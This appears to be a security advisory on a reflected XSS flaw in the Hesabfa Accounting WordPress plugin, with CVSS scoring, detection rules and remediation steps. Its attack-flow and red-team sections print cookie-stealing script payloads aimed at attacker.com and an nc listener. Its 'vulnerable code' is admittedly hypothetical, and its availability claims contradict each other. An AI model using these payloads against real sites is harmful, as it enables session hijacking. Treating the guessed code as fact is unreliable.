CVE-2025-22682

Executive Summary

CVE-2025-22682 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Hesabfa Accounting WordPress plugin (versions <= 2.1.2) developed by Saeed Sattar Beglou. The plugin fails to properly neutralize user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim’s browser session on the affected WordPress site.

As a WordPress ecosystem vulnerability, it does not affect the underlying web server (Apache/Nginx) but rather the plugin’s own input handling. The CVSS score of 7.1 (High) reflects the ease of exploitation (no authentication required) and the potential for impact on confidentiality and integrity, though availability is not directly affected.

Supply Chain & Package Security

This plugin is distributed via the official WordPress plugin repository. Users who installed it via the WordPress admin dashboard or directly from the repository are affected. No known supply chain compromise has been reported, but the lack of a patch from the vendor increases the risk of malicious actors forking or distributing tampered versions.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited ability to disrupt service.

Threat Level: High (7.1) – Exploitation is straightforward via phishing or social engineering, and the impact can be severe for WordPress admin users.

Deep Dive & Mechanics

The vulnerability resides in the hesabfa-accounting plugin’s handling of HTTP GET/POST parameters. When a user visits a crafted URL containing malicious JavaScript in a parameter (e.g., ?page=hesabfa-settings&error=<script>alert(1)</script>), the plugin reflects this input directly into the HTML response without proper encoding or sanitization.

The vulnerable code likely appears in files such as admin/class-hesabfa-admin.php or similar, where user input is echoed into the page without using WordPress’s built-in escaping functions like esc_html() or esc_attr().

Attack Flow:

1. Attacker crafts a malicious URL: https://victim-site.com/wp-admin/admin.php?page=hesabfa-settings&error=<script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>
2. Victim (e.g., an admin) clicks the link (via phishing email or social media).
3. The plugin reflects the error parameter into the page, executing the attacker’s script.
4. The script steals the victim’s session cookies and sends them to the attacker’s server.

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical example from hesabfa-accounting/admin/class-hesabfa-admin.php):

<?php
function display_error() {
    if (isset($_GET['error'])) {
        echo '<div class="error">' . $_GET['error'] . '</div>';
    }
}
?>

Patched Code (using WordPress escaping):

<?php
function display_error() {
    if (isset($_GET['error'])) {
        echo '<div class="error">' . esc_html( $_GET['error'] ) . '</div>';
    }
}
?>

The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Since no public exploit code is available, manual exploitation is required.

Step 1: Identify vulnerable parameter.
Use a web proxy (Burp Suite) to intercept requests to /wp-admin/admin.php?page=hesabfa-settings and test parameters like error, message, or notice.

Step 2: Craft payload.
Example: ?page=hesabfa-settings&error=<img src=x onerror=alert(1)>

Step 3: Deliver to victim.
Use a URL shortener or embed in a phishing email.

Step 4: Capture cookies.
Set up a listener (e.g., nc -lvnp 80) and use payload:
?page=hesabfa-settings&error=<script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>

Blue Team (Defensive)

Detection: Monitor web server logs for requests containing <script> or onerror in query strings targeting hesabfa-settings.
Prevention: Implement a Web Application Firewall (WAF) rule to block reflected XSS patterns.
Honeypot: Deploy a fake WordPress admin page with the vulnerable plugin to lure attackers.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /wp-admin/admin.php?page=hesabfa-settings with suspicious query parameters (e.g., error=<script>).
• Host: Presence of unexpected JavaScript in WordPress admin pages (check via browser developer tools).
• Logs: Apache/Nginx access logs showing %3Cscript%3E (URL-encoded <script>) in the request URI.
• File: Modified hesabfa-accounting plugin files (if attacker uploaded a backdoor).

Detection Engineering

YARA Rule

rule CVE_2025_22682_Hesabfa_XSS {
    meta:
        description = "Detects reflected XSS attempts against Hesabfa Accounting plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22682"
    strings:
        $xss1 = /page=hesabfa-settings.*(?:<script|<img|<svg|onerror|onload)/i
        $xss2 = /error=.*(?:%3Cscript|%3Cimg|%3Csvg)/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against Hesabfa Accounting Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests containing XSS payloads targeting the Hesabfa Accounting plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains: 
            - 'page=hesabfa-settings'
            - 'error='
        cs-uri-query|re: '(?:<script|<img|<svg|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in error messages (unlikely)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-22682 Reflected XSS in Hesabfa Accounting Plugin";
    flow:to_server,established;
    content:"page=hesabfa-settings"; http_uri;
    content:"error="; http_uri;
    pcre:"/(?:<script|<img|<svg|onerror|onload)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate: Disable the Hesabfa Accounting plugin until a patch is released.
2. Workaround: Add a WAF rule to block query strings containing <script> or onerror in the error parameter.
3. Long-term: Replace the plugin with an alternative accounting solution that is actively maintained.
4. Developer Fix: Apply WordPress escaping functions (esc_html(), esc_attr()) to all reflected user input.
5. Monitoring: Enable detailed logging for WordPress admin pages and review for suspicious activity.

Valters IT – Securing Digital Frontiers